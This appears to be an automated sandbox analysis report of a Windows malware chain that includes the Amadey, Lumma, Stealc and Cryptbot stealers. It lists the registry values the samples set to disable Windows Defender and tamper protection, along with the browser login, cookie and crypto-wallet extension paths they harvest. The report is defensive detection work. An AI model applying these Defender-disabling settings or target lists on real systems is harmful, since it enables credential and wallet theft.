Source: 9108c36d20.exe, 0000000C.00000002.2768979583.0000000000F32000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmp, 8c3bfc0f85.exe, 8c3bfc0f85.exe, 0000000A.00000002.3020539701.0000000000500000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: Program Manager
Source: firefox.exe, 0000001A.00000002.2879002591.00000090E59FB000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?ProgmanListenerWi
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0002D3E2 cpuid 6_2_0002D3E2
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0002CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 6_2_0002CBEA
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Registry value created: TamperProtection 0
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations
AV process strings found (often used to terminate AV products)
Source: 22a4a09ee3.exe, 00000009.00000003.2725882305.000000000113E000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2920073610.00000000015F4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 2.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.1703329392.0000000004970000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1743497306.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1729066323.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2297023080.0000000004800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1732120363.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.1772246727.0000000000011000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1769268750.0000000000011000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: 0000000C.00000003.2703581543.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 9108c36d20.exe PID: 3260, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 22a4a09ee3.exe PID: 6244, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 22a4a09ee3.exe PID: 5272, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000000A.00000003.2645427733.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.3014909810.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.2785242798.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3014657915.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 5852, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 22a4a09ee3.exe, 00000009.00000003.2614298765.0000000001132000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum$
Source: 22a4a09ee3.exe, 00000009.00000003.2614298765.0000000001132000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectronCash
Source: 22a4a09ee3.exe, 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Jaxx Liberty
Source: 22a4a09ee3.exe, 0000000B.00000003.2756243278.00000000015FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971
Source: 22a4a09ee3.exe String found in binary or memory: ExodusWeb3
Source: 22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ms\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m]
Source: 22a4a09ee3.exe, 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 22a4a09ee3.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
